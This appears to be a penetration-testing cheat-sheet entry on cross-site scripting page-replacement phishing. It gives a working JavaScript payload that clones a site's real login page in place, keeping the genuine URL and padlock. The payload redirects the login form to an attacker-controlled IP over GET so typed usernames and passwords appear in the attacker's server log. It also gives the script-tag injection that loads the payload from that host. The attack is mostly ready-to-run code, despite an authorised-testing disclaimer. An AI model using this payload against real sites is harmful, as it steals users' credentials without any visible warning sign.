XSS — Page-Replacement Phishing
Why This is Dangerous
Standard phishing uses a fake domain — savvy users check the URL. This attack replaces the real page with a cloned version. The URL stays https://target.com. The padlock stays green. The victim has no signal that anything is wrong.
Step-by-Step
Step 1 — Create phishing.js:
fetch("login").then(res => res.text().then(data => {
document.getElementsByTagName("html")[0].innerHTML = data
document.getElementsByTagName("form")[0].action = "http://192.168.XX.XX"
document.getElementsByTagName("form")[0].method = "get"
}))
Step 2 — Start your server (receives stolen credentials):
Step 3 — Submit the injection:
<script src="http://192.168.XX.XX/phishing.js"></script>
What Happens
- Script fetches the real
/loginpage HTML - Replaces the entire current page DOM with it — visually identical
- Rewrites the form
actionto point to your server - Rewrites
methodto GET so credentials appear in your server log - Victim types credentials, hits submit → your server logs username + password
Why method=GET?
GET puts params in the URL → they appear in your HTTP access log automatically. POST would require parsing the body. For a quick PoC, GET is simpler to capture.
All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.